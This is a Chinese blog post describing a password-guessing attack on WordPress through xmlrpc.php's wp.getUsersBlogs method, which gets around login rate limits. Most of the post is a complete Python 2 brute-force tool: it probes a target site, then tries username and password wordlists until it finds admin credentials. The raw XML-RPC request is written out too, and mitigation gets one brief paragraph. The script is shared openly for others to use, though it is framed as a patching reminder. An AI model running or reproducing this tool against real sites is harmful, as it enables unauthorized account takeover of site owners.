WordPress xmlrpc利用工具 解决方法

前言

最近看日志有许多ip post  xmlrpc.php 这个文件  利用xmlrpc.php提供的接口尝试猜解用户的密码,可以绕过wordpress对暴力破解的限制。已经发现了大规模的利用,启用了xmlrpc的同学需要尽快修复。安装或者升级Login Security Solutin插件 或 不使用的直接重命名这个文件增加个后缀使其无法访问即可

WordPress安装后默认带有这漏洞,影响面应该是比较大的,对弱密码党是很不幸的消息。

通常wordpress登录接口都是做了防暴力破解防护的,比如freebuf的登录只能有尝试5次。

这种利用xmlrpc.php的攻击可以绕过这些限制。攻击的方式直接POST以下数据到xmlrpc.php

<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
  <methodName>wp.getUsersBlogs</methodName>
  <params>
   <param><value>username</value></param>
   <param><value>password</value></param>
  </params>
</methodCall>

其中username字段是预先收集的用户名。password是尝试的密码。关于getUsersBlogs接口的更多信息可以参考官方的指南如果密码正确,则会直接返回你的正确密码

于是写了这个利用工具,分享给大家,目的是提醒大家修补一下,我看到很多站都没理睬这个问题。

可无限制的POST以下数据到xmlrpc.php判断帐号是否正确.

# -*- coding: utf-8 -*-
'''
Title: WordPress xmlrpc 利用工具
Wordpress中通过xmlrpc.php提供的接口尝试猜解用户的密码,可以绕过wordpress对暴力破解的限制,
'''
import urllib2
import re

def ReadMe():
    print """说明:
    1.在本文件同目录下新建usernames.txt、passwords.txt分别存入用户名、密码字典
    2.按提示输入WordPress站点(例如:www.flincllck.com)
    """

def GetUrl():
    urlinput=raw_input("请输入wordpress站点:")
    requrl="http://"+re.match(r"(http://)?(.*)",urlinput).expand('\g<2>')+"/xmlrpc.php"
    print "尝试利用:"+requrl
    return requrl
   
def Aviable(requrl):
    
    try:
        result = urllib2.urlopen(url=requrl).read()
    except urllib2.URLError:
        print "抱歉,此站点漏洞不可用"
        return False
    else :
        if result == "XML-RPC server accepts POST requests only.":
            print "\n该站点存在此漏洞,尝试破解中:"
            return True
        else :
            print "抱歉,此站点漏洞不可用"
            print "网页返回:\n    "+result
            return False
    
def Exploit():
    requrl=GetUrl()
    if Aviable(requrl) :
        f_username=open("usernames.txt","r")
        f_password=open("passwords.txt","r")
        num=0
        Flag=0
        for name in f_username:
            if Flag == 1:
                break
            for key in f_password:
                if num % 10 == 0:
                    print "已尝试"+str(num)+"个"
                reqdata='<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>wp.getUsersBlogs\
                        </methodName><params><param><value>'+ name + \
                        '</value></param><param><value>'+ key  +\
                        '</value></param></params></methodCall>'
                req = urllib2.Request(url=requrl,data=reqdata)
                result = urllib2.urlopen(req).read()
                num=num+1
                if "isAdmin" in result :
                    print "Got it !"
                    print "username :"+name+"password :"+key
                    Flag = 1
                    break
                    
                elif "faultString" and "403" in result :
                    continue 
                    
© 版权声明
THE END
喜欢就支持以下吧
点赞454赞赏
分享
评论 抢沙发

请登录后发表评论